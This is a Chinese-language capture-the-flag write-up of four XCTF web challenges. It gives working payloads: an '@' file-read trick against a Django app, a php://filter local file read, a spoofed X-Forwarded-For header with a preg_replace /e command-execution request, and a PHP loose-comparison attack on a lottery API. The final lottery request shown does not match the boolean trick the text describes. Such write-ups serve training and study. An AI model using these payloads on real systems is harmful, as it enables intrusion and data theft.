cat
ics-05
ics-06
lottery
Cat
XCTF 4th-WHCTF-2017
輸入域名 輸入普通域名無果 輸入127.0.0.1返回了ping碼的結果 有可能是命令執行
嘗試fuzz命令執行 特殊符號
看了wp漲了點姿勢 %80之後的url編碼)就可以返回Django報錯
%80後的字符結合報錯信息UnicodeEncodeError
可以推斷是由於ascii編碼不支持導致的報錯,根據報錯信息可以得到的信息
裏面可以得到項目路徑opt/api/
setting.py 配置文件在opt/api/api/下 套一層名爲項目名的文件夾下 默認配置爲數據庫是sqlites
網站是使用Django進行開發的,結合PHP可以通過在參數中注入@來讀取文件的漏洞,依次查看python的配置文件和數據庫得到flag的內容
使用@進行文件傳遞,對文件進行讀取之後還會把內容傳給url參數,如果像上面一樣有超出解析範圍的編碼的時候就會得到錯誤信息。
我們的目標首先是數據庫文件,看從錯誤信息中能不能拿到flag,可以從配置文件settings.py的報錯中看看有沒有database的相關信息
?url=@/opt/api/api/settings.py
報錯內容搜索database可以得到:
?url=@/opt/api/database.sqlite3
獲取數據庫內容
ics-05
眼花繚亂的 題目描述:其他破壞者會利用工控雲管理系統設備維護中心的後門入侵系統
http://111.198.29.45:56033/index.php?page=index
url中有參數拼接 fuzz下 發現是支持僞協議 讀了源碼
?page=php://filter/convert.base64-encode/resource=index.php
//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } }
需要將X_FORWARDED_FOR設置爲127.0.0.1,get傳參方式 ‘pattern’ ,’ replacement’,‘subject’ 三個參數傳遞給preg_replace函數。
preg_replce e模式會命令執行,進行替換的部分會被執行
GET /index.php?pat=/(.*)/e&rep=system(%27ls%27)&sub=a HTTP/1.1 Host: 111.198.29.45:56033 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-FORWARDED-FOR:127.0.0.1 Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0 Connection: close Upgrade-Insecure-Requests: 1
最後發現flag :
GET /index.php?pat=/(.*)/e&rep=system(%27cat+s3chahahaDir/flag/flag.php%27)&sub=a HTTP/1.1 Host: 111.198.29.45:56033 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-FORWARDED-FOR:127.0.0.1 Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0 Connection: close Upgrade-Insecure-Requests: 1
ics-06
題目描述:雲平臺報表中心收集了設備管理基礎服務的數據,但是數據被刪除了,只有一處留下了入侵者的痕跡。
http://111.198.29.45:58786/index.php?id=1
本來以爲是注入 沒成功
說是有一處留下了痕跡 就遍歷下id 2333時flag (之前fuzz了很久)
lottery
這個題稍微有意思點。
先測試了一下,註冊用戶,購買彩票,拿到足夠的錢,購買flag。
然後掃了下目錄 發現git泄露
api.php:
<?php require_once('config.php'); header('Content-Type: application/json'); function response($resp){ die(json_encode($resp)); } function response_error($msg){ $result = ['status'=>'error']; $result['msg'] = $msg; response($result); } function require_keys($req, $keys){ foreach ($keys as $key) { if(!array_key_exists($key, $req)){ response_error('invalid request'); } } } function require_registered(){ if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){ response_error('register first'); } } function require_min_money($min_money){ if(!isset($_SESSION['money'])){ response_error('register first'); } $money = $_SESSION['money']; if($money < 0){ $_SESSION = array(); session_destroy(); response_error('invalid negative money'); } if($money < $min_money){ response_error('you don\' have enough money'); } } if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){ response_error('please post json data'); } $data = json_decode(file_get_contents('php://input'), true); if(json_last_error() != JSON_ERROR_NONE){ response_error('invalid json'); } require_keys($data, ['action']); // my boss told me to use cryptographically secure algorithm function random_num(){ do { $byte = openssl_random_pseudo_bytes(10, $cstrong); $num = ord($byte); } while ($num >= 250); if(!$cstrong){ response_error('server need be checked, tell admin'); } $num /= 25; return strval(floor($num)); } function random_win_nums(){ $result = ''; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; } function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); } function flag($req){ global $flag; global $flag_price; require_registered(); $money = $_SESSION['money']; if($money < $flag_price){ response_error('you don\' have enough money'); } else { $money -= $flag_price; $_SESSION['money'] = $money; $msg = 'Here is your flag: ' . $flag; response(['status'=>'ok','msg'=>$msg, 'money'=>$money]); } } function register($req){ $name = $req['name']; $_SESSION['name'] = $name; $_SESSION['money'] = 20; response(['status'=>'ok']); } switch ($data['action']) { case 'buy': require_keys($data, ['numbers']); buy($data); break; case 'flag': flag($data); break; case 'register': require_keys($data, ['name']); register($data); break; default: response_error('invalid request'); break; }
重點部分:
function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); }
其中 $numbers 來自用戶json輸入 {"action":"buy","numbers":"11111111"},沒有檢查數據類型。 $win_numbers 是隨機生成的數字字符串。
使用 PHP 弱類型鬆散比較,以"1"爲例,和TRUE,1,"1"相等。 由於 json 支持布爾型數據,因此可以抓包改包,構造數據:
POST /api.php HTTP/1.1 Host: 111.198.29.45:51029 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: http://111.198.29.45:51029/buy.php Content-Length: 36 Cookie: PHPSESSID=3cb7bb982831ce7bcf4219a605214be5 Connection: close {"action":"buy","numbers":"1111111"}
得到5000000,再來一次就是10000000,可以購買flag了